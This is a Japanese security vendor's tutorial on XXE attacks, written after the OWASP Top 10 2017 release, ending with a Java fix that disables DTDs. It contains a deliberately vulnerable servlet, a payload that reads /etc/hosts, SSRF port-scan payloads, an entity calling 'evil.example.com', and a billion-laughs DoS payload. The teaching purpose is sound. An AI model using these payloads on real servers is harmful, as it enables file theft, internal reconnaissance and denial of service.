本サイトは、快適にご利用いただくためにクッキー(Cookie)を使用しております。
Cookieの使用に同意いただける場合は「同意する」ボタンを押してください。
なお本サイトのCookie使用については、「個人情報保護方針」をご覧ください。
先日 OWASP Top 10 - 2017 がついに公開されました。
このOWASP Top 10 とは、OWASP Top Ten Projectが最も重大と考えるセキュリティリスクの Top 10をまとめたものです。変更点はいくつかありますが、今回OWASP Top 10 - 2017 の中にXXE(XML External Entity)がランクインしていました。
XXEを用いた攻撃(以降 XXE攻撃)は、セキュリティ界隈においては、かなり昔から知られている攻撃手法ですが、開発者等にはあまり認知されていないと思われますので、あらためてこのXXE攻撃について解説を行っていきます。
今回触れていない攻撃手法については、またの機会に紹介をしたいと思っています。
XXEとは
XXEとは XML External Entity の略称であり、外部実体参照を利用した脆弱性を指します。 ただし、外部実体参照に限らず、単なる内部実体参照のみを利用した場合もこの名称が利用されている場合があり、今回は、広義な意味でのXXEの脆弱性について取り扱います。
この脆弱性はXMLを処理するときに起こる問題で、現在でも見かける脆弱性です。 XMLを処理するプログラムでは、避けては通れない問題で、過去には SOAPリクエストを処理するフレームワークなどにおいても見つかっています。
この攻撃の危険度は高く、悪用することで、サーバ内のファイル取得および情報収集に利用することが可能です。また、サーバ内から別のサーバを攻撃する SSRF(Server Side Request Forgery)攻撃にも利用可能です。
DTDとは
まず、この攻撃を理解するには、DTD(Document Type Definition)について知っている必要があります。
DTDは、XMLの構造を定義するためのものであり、このDTDを定義することで、XMLが指定された構造であるか チェックすることに利用することができます。また、実体宣言を行うことが可能となっています。
DTDは一般的に以下のような形式をとります。
<!DOCTYPE name [
<!ELEMENT name (first,last)>
<!ELEMENT first (#PCDATA) >
<!ELEMENT last (#PCDATA) >
]>
DTDの詳細な説明は割愛しますが、このDTD定義は以下のようなXML構造を示しています。
<name><first>tarou</first><last>mitsui</last></name>
実体参照とは
実体宣言で定義されている、実体名を使い、実体の内容を参照することを実体参照と言います。実体参照をする場合は、アンパサンド(&)とセミコロン(;)を区切りとして以下の書式で行いします。
&実体名;
実体は利用者が任意に宣言することができます。実体宣言と実体参照の例を以下に示します。
<!DOCTYPE name [
<!ENTITY nf "test"> <!-- <A> -->
<!ENTITY nl SYSTEM "external_file.xml"> <!-- <B> -->
]>
<name><first>&nf;</first><last>&nl;</last></name> <!-- <C> -->
<A>は内部実体宣言です、実体名と実体(文字列)を関連付けています。
<B>は外部実体宣言です、実体名とファイルの中身を関連づけています。ここではサーバ内部のファイルを指定していますが、URLを記載することにより外部サイトのファイルを参照することもできます。
<C>の「&nf;」、「&nl;」が実体参照です、定義した実体の参照を行っています。
このとき external_file.xml ファイルは以下のようになっているとします。
mbsd
この場合、XMLの実体参照が
<name><first>test</first><last>mbsd</last></name>
このように展開されます。 以上のことを踏まえたうえでXXE攻撃の説明を行います。
外部実体参照を利用したXXE攻撃
XXE攻撃の方法はいくつかありますが、まずはOWASP Top 10 - 2017の XXE Scenario #1でも取り上げられている、通常の外部実体参照を利用した攻撃を紹介したいと思います。 ここでは、脆弱なサーバプログラムの例として以下のようなシンプルなJavaプログラムを想定します。また、JavaにおいてはXMLパーサを変更することも可能ですがここでは、標準のXMLパーサを利用します。
package vuln;
import java.io.IOException;
import java.io.PrintWriter;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import org.w3c.dom.Document;
import org.xml.sax.InputSource;
public class XMLVuln extends HttpServlet {
public void service(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
response.setContentType("text/plain; charset=UTF-8");
PrintWriter out = response.getWriter();
try {
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = factory.newDocumentBuilder();
Document doc = builder.parse(new InputSource(request.getInputStream()));
String first = doc.getElementsByTagName("first").item(0).getTextContent();
String last = doc.getElementsByTagName("last").item(0).getTextContent();
out.println("name:" + first + " " + last);
} catch (Exception e) {
e.printStackTrace(out);
}
}
}
単純に、first と last を連結してレスポンスとして返すシンプルな処理です。 通常リクエストは以下のようになります。
POST /XMLTest/XMLVuln HTTP/1.1
Host: www.example.com
Content-Type: text/xml
<name><first>tarou</first><last>mitsui</last></name>
この時の正常時レスポンスは以下のようになります。
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Type: text/plain; charset=UTF-8
Content-Length: 18
Date: Mon, 27 Nov 2017 05:44:46 GMT
name:tarou mitsui
これに対して、外部実体参照を利用した攻撃リクエストは以下のようになります。
POST /XMLTest/XMLVuln HTTP/1.1
Host: www.example.com
Content-Type: text/xml
<!DOCTYPE name [
<!ENTITY h SYSTEM "file:///etc/hosts"> <!-- <D> -->
]>
<name><first>tarou</first><last>mitsui&h;</last></name>
<D>の部分に注目して下さい。これにより、外部実体宣言を利用して 「/etc/hosts」の内容を「h」として定義しています。 また、リクエスト内のXMLにて宣言した 「&h;」 の参照を行っているのがわかるかと思います。
このリクエスト後、サーバ上のXMLライブラリによってDTDとXMLの内容が解釈されます。その結果「&h;」 が展開され、サーバ上のファイルを取得することができます。 リクエストのレスポンスは以下のようになります。
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Type: text/plain;charset=UTF-8
Content-Length: 176
Date: Mon, 27 Nov 2017 07:03:46 GMT
name:tarou mitsui127.0.0.1 localhost localhost.localdomain localhost4 localhost4.localdomain4
::1 localhost localhost.localdomain localhost6 localhost6.localdomain6
このように 「/etc/hosts」 のファイルの内容が取得できることを確認できました。 外部ファイルとして指定可能なファイルは何でもよいというわけではなく、外部解析対象実体(External Parsed Entity)に適合する必要があります。 リンク先の内容はわかりにくいのですが、少なくとも外部実体参照が展開された結果が、XMLとして正しい形式(XMLとして文法上の誤りのない形式)である必要があります。 このため例えば、XMLとして不正な形式、「<」だけの記号が含まれていると失敗します。
また、取得しようとするファイルに対してサーバアプリケーションの実行ユーザが読み取り権限を持っていないとファイルの内容を取得できないため失敗します。
同様の攻撃はJavaで作成されたプログラムだけでなくPHPやRubyなどを含めたXMLの処理を行うプログラム全般において発生する問題になります。
その他のXXE攻撃
OWASP Top 10 - 2017の XXE Scenario #2でも取り上げられていますが、サーバ上のファイルを読みに行かせる方法もあります。Scenario #2の例では内部にあるサーバ上のファイルを指定していますが、他にも以下のような攻撃に応用できます。
<!DOCTYPE name SYSTEM "http://127.0.0.1:[port番号]">]>
<name><first>tarou</first><last>mitsui</last></name>
これは、外部のDTDの宣言にて、「http://127.0.0.1:[port番号]」 を指定しており、DTDが参照されるタイミングで、 指定したポート番号にHTTPリクエストが送信されます。
このとき、サーバのレスポンス応答時間は、指定したポートがOpen状態の場合はClose状態のポートよりは早いかもしくは遅くなることが多くなります。 この挙動を利用することで、どのポートが空いているかの調査に利用することが可能です。
また、本来外部からアクセスできない内部のサーバの場合であったとしても、内部サーバの存在を確認することにも利用することが可能です。
<!DOCTYPE name SYSTEM "http://192.0.2.11/">
環境にも依存するものの、レスポンス応答に差分が出る場合があり、この挙動を利用してサーバの有無を判断することができる場合があります。検証した環境においては、「192.0.2.11」 が存在するIPの場合、レスポンス応答時間は早く、 存在しないIPアドレス等の場合には、レスポンス時間は遅くなりました。ネットワーク構成やサーバの設定によって反応の仕方は変わるので、一概には言えませんが、何らかの差分を確認することでサーバの有無を特定することができる可能性があります。
この他にも外部サーバのファイルを取得させることにも利用することが可能です。
<!ENTITY evil SYSTEM "http://evil.example.com/evil.xml">
攻撃者サーバ上に悪意のあるファイルを置き、そのファイル読みに行かせる方法となります。サーバの環境によっては外部サイトへのアクセスが禁止されている場合がありますが、大抵の場合はうまくいきます。
そして、OWASP Top 10 - 2017の XXE Scenario #3にて取り上げられていますが、サーバに負荷をかけるDoS(Denial of Service)攻撃があります。Scenario #3では、サーバの「/dev/random」にアクセスさせる方法が紹介されていますが、他にもXML Bomb or entity explosionと呼ばれる攻撃の可能性があります。
<!DOCTYPE name [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<name><first>tarou</first><last>mitsui&lol9;</last></name>
実体宣言では別の実体を参照することが可能なのですが、その仕様を利用して、 lol2 にてlol の定義を10回参照しています。lol3ではさらにそのlol2を10回参照するという ように宣言を繰り返しています。
その結果、lol9 ではとてもとても長い文字列になります。
このリクエストをサーバに送った場合には、サーバ側で実体の展開処理が行われることになり 、この展開処理に非常に時間がかかることになり、その結果、サーバの応答が悪くなります。
ただし、この場合、ライブラリの設定や利用するライブラリ等によっては、実体の展開回数に制限がかかっており、十分に負荷をかけることができない場合もあります。
対策
さて、ここまで攻撃の面ばかりを紹介しましたがこれらの対策はどのようにすればよいでしょうか?
弊社で推奨している方式は、DTD自体を無効とする方法です。 Javaの場合以下のように記載することで対策可能です。
public class XMLSafeDTD extends HttpServlet {
public void service(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
response.setContentType("text/plain; charset=UTF-8");
PrintWriter out = response.getWriter();
try {
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
// DTD禁止
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
DocumentBuilder builder = factory.newDocumentBuilder();
Document doc = builder.parse(new InputSource(request.getInputStream()));
String first = doc.getElementsByTagName("first").item(0).getTextContent();
String last = doc.getElementsByTagName("last").item(0).getTextContent();
out.println("name:" + first + " " + last);
} catch (Exception e) {
e.printStackTrace(out);
}
}
}
DTD自体が禁止されるため攻撃の余地の入りようが無い対策といえます。
ちなみにJavaにおいてDTDはデフォルトで有効となっており、内部実体参照のみならず、外部実体参照も有効に機能します。このため、XXE攻撃が成立する脆弱性が作り込まれる可能性が高くなっているものと思われます。XMLを利用したアプリを開発する際には、今回紹介した内容に注意して開発をしていただければと思います。
おすすめ記事